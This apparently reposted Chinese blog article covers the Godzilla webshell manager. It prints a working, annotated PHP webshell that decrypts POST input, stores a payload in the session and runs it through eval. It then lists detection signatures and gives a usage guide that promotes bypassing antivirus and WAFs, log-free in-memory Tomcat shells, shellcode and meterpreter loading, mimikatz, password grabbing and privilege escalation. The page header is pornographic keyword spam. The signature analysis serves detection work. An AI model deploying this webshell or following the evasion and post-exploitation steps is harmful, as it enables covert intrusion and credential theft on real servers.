日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)

發布時間:2025/3/15 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

馬分析

正文

總結一下木馬的利用邏輯:

總結木馬特征:

簡單使用方法

一些特性

流量加密

插件模塊

數據庫管理

內存shell

屏幕截圖

虛擬終端

JMeterpreter?

ServletManage??

JarLoader?

JZip?

ByPassOpenBasedir?

BypassDisableFunctions??

筆記

ShellCodeLoader

SafetyKatz

lemon

BadPotato??

SharpWeb?

SweetPotato?

其他選項

參考文獻


作者:BeichenDream

馬分析

正文

先貼一下哥斯拉V2.83生成的PHP馬(選擇了base64作為加密方式)

<?phpsession_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) {$D[$i] = $D[$i]^$K[$i+1&15];}return $D;}function Q($D){return base64_encode($D);}function O($D){return base64_decode($D);}$P='pass';$V='payload';$T='3c6e0b8a9c15224a';if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V];$A=explode('|',$L);class C{public function nvoke($p) {eval($p."");}}$R=new C();$R->nvoke($A[0]);echo substr(md5($P.$T),0,16);echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16);}else{$_SESSION[$V]=$F; }}

可以看到內容不是特別多,攻擊荷載都在SESSION里,大部分代碼在實現加密通信。一眼看過去好像沒有特別明顯的特征,不像冰蝎可以直接找"AES"然后看上下文。

接下來分析每個方法的作用,不想看分析過程可以直接看備注在每個方法后面的結論:

<?phpsession_start(); //創建或者重啟一個會話@set_time_limit(0); //設置程序最長運行時間:永久@error_reporting(0); // 關閉錯誤報告function E($D,$K){ //通過密鑰對 $D 進行加/解密for($i=0;$i<strlen($D);$i++) {$D[$i] = $D[$i]^$K[$i+1&15];}return $D;}function Q($D){return base64_encode($D); //用base64 對 $D 進行編碼}function O($D){return base64_decode($D);//用base64 對 $D 進行解碼}$P='pass';$V='payload';$T='3c6e0b8a9c15224a';if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); //通過密碼傳輸攻擊荷載并解密if (isset($_SESSION[$V])){ //判斷SESSION是否已經存入了攻擊荷載$L=$_SESSION[$V];$A=explode('|',$L);//將SESSION中的攻擊荷載分割成函數class C{public function nvoke($p) {eval($p."");}}$R=new C();$R->nvoke($A[0]);//通過eval執行攻擊荷載echo substr(md5($P.$T),0,16);//將傳入的遠控命令加密后,取前16位放在返回值前面,其余的放在返回值后面(二次加密)echo Q(E(@run($F),$T)); //執行遠控命令,并對返回值進行加密echo substr(md5($P.$T),16);}else{$_SESSION[$V]=$F; //將攻擊荷載存儲到SESSION}}

接下來是分析過程:

一開頭的 E() 方法通過傳入字符串和鹽值來加密字符串,這個方法在代碼中出現了兩次,分別用來處理傳入的遠控命令,以及對返回哥斯拉服務端的字符串進行加密。

Q()、O() 兩個方法分別實現base64加解密。

再往下看,發現文件定義了三個變量

$P='pass'; $V='payload'; $T='3c6e0b8a9c15224a';

P的值用來定義木馬監聽POST請求中的哪個變量,簡單來說就是如果給P賦值pass,就需要通過在POST請求中給pass變量賦值,去訪問該文件,實現遠控。

V的值用來在SESSION中存取攻擊荷載,可以隨意賦值。

T的值用來存儲 E() 方法中加解密會用到的鹽值。


一行一行看存儲、利用攻擊荷載的部分:

1. 通過isset()監聽POST請求,?

if (isset($_POST[$P])){

2. 取出傳入的攻擊荷載/遠控命令解密后賦給F。

$F=O(E(O($_POST[$P]),$T))

3. 將字符串格式的攻擊荷載按照“|”分割成方法

$A=explode('|',$L);

4.?創建對象C,只有一個eval方法,用于執行遠控命令。通過C對象而不是eval()來執行命令也能起到免殺的作用

class C{public function nvoke($p) {eval($p."");}}

5.?執行攻擊荷載

$R->nvoke($A[0])

6.?先將遠控命令和鹽值進行拼接,然后計算拼接得出的字符串的MD5值,取前16位放在返回值前面

echo substr(md5($P.$T),0,16)

7.?通過攻擊荷載中的 run() 方法執行遠控命令,然后對返回的字符串加密,并輸出加密后的字符串。

echo Q(E(@run($F),$T));

8.?取之前計算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回顯前后添加字符串,一方面是在進行二次加密,另一方面可以讓哥斯拉服務端知道返回的是哪條命令的回顯。

echo substr(md5($P.$T),16);

總結一下木馬的利用邏輯:

第一次通信時,服務端通過POST方式傳遞一個名叫pass的參數給木馬,給pass參數賦的值是加密后的一組用”|”隔開的方法,也就是接下來要使用的攻擊荷載。荷載在解密后被存入SESSION,供之后使用。
從第二次通信開始,pass傳入的是遠控命令,通過攻擊荷載中的run()方法執行遠控命令。然后對回顯進行加密后傳輸給哥斯拉的服務端。

總結木馬特征:

  • run()方法是寫死在攻擊荷載里面的,代碼一定會調用這個方法執行傳入的參數。
  • 有一個向SESSION中存儲攻擊荷載的過程,就是會有一個$_SESSION[$XXX]=P的過程,這里的P是通過POST方法傳進來的參數。
  • 會將傳入的參數解密、拼接后取MD5,前16位加到回顯的前端,其余的部分加到回顯的后端。因為涉及到了服務端的運行邏輯、不管再怎么改造、變形,以上幾點應該是沒法隱藏的。
  • 簡單使用方法

    在哥斯拉安裝之前,你需要安裝jdk1.8的環境。雙擊Godzilla.jar打開,此時會在同目錄下生成data.db數據庫存放數據。首頁長這樣

    點擊?管理-添加生成所需的webshell,哥斯拉支持jsp、php、aspx等多種載荷,java和c#的載荷原生實現AES加密,PHP使用亦或加密。生成時需要記住自己的生成配置用以鏈接時用。

    選中shell右鍵選擇進入即可進入shell管理界面。

    php的功能如圖

    jsp/jspx的shell功能如圖

    aspx/ashx/asmx的功能如圖

    簡單使用介紹就到這里。?

    一些特性

    為什么我放著冰蝎、蟻劍還有什么天蝎不用而要用你的哥斯拉?

    哥斯拉全部類型的shell均過市面所有靜態查殺哥斯拉流量加密過市面全部流量waf哥斯拉的自帶的插件是冰蝎、蟻劍不能比擬的

    靜態免殺就不說了,工具放出來之后可能會免殺一段時間就不行了,當然隨便改改就能繼續過。重點是看流量加密和一些自帶的插件。

    流量加密

    先來看流量加密,仍然以jsp為例,修改鏈接配置里的代理選項為http代理,讓流量代理到Burp中。

    執行dir命令的請求包?

    響應包

    或許你說headers里的一些ua和Accept太扎眼了,別擔心,這些可以自己配置。在shell編輯的請求配置中修改?

    或者在配置-全局配置中修改?

    此時在看請求包和響應包完全沒有特征?

    并且在請求包的thisisleftDatathisisrightData可以修改為其他雜亂數據來進行干擾。到這里還不說一句哥斯拉天下第一??

    插件模塊

    一些基本的模塊比如:基本信息、文件管理、命令執行我這里就不再贅述了。

    數據庫管理

    相信大家在使用蟻劍的時候沒少碰到過連不上數據庫的情況,我自己碰到過一個環境就是shell所在的tomcat container沒有jdbc的jar包依賴導致連不上數據庫,偏偏蟻劍沒什么好辦法。而在哥斯拉中就不必擔心這個問題,在數據庫管理中哥斯拉會先從容器中加載可用的jdbc,如果沒有就通過內存加載jar驅動來鏈接數據庫。

    內存shell

    內存shell模塊實現了在tomcat中注冊、卸載內存馬

    你可以直接注冊一個哥斯拉的馬或者冰蝎、菜刀的馬,甚至是regeorg。?

    比如注冊一個/Godzillashell進去?

    訪問發現存在?

    直接哥斯拉鏈接就行了。內存shell 無日志,會在tomcat重啟后消失。

    屏幕截圖

    點截圖會自動保存預覽,在windows上需要shell權限夠大。

    虛擬終端

    這個功能其實是在本地監聽端口,通過shell與服務器交互實現cmdshell。點擊start之后執行nc 127.0.0.1 4444鏈接本地4444獲取cmdshell。

    如果不使用nc鏈接的話會一直占用本地4444端口。用完請exit或點擊stop。

    JMeterpreter

    ServletManage?

    用來管理servlet,方便管理內存shell。

    JarLoader

    用其加載jar包,主要用途就是加載jdbc。?

    JZip

    打包全站的好助手。

    ByPassOpenBasedir

    BypassDisableFunctions?

    筆記

    筆記模塊是jsp\php\aspx都有的模塊

    ShellCodeLoader

    直接通過shell來加載shellcode,或者彈meterpreter

    SafetyKatz

    mimikatz 需要高權限

    lemon

    抓常用軟件密碼

    BadPotato?

    提權模塊,源于 https://github.com/BeichenDream/BadPotato

    SharpWeb

    參考 https://github.com/djhohnstein/SharpWeb

    SweetPotato

    提權模塊

    其他選項

    配置-程序配置中可以修改字體大小,重啟后生效。

    關閉提示語不解釋了,上帝模式開啟會使文件管理復雜化。?

    參考文獻

    源碼:https://github.com/BeichenDream/Godzilla

    馬分析:https://blog.csdn.net/zeros__/article/details/111521314

    特征:https://www.secpulse.com/archives/177117.html

    使用:https://www.freebuf.com/sectool/247104.html

    新人創作打卡挑戰賽發博客就能抽獎!定制產品紅包拿不停!

    總結

    以上是生活随笔為你收集整理的哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。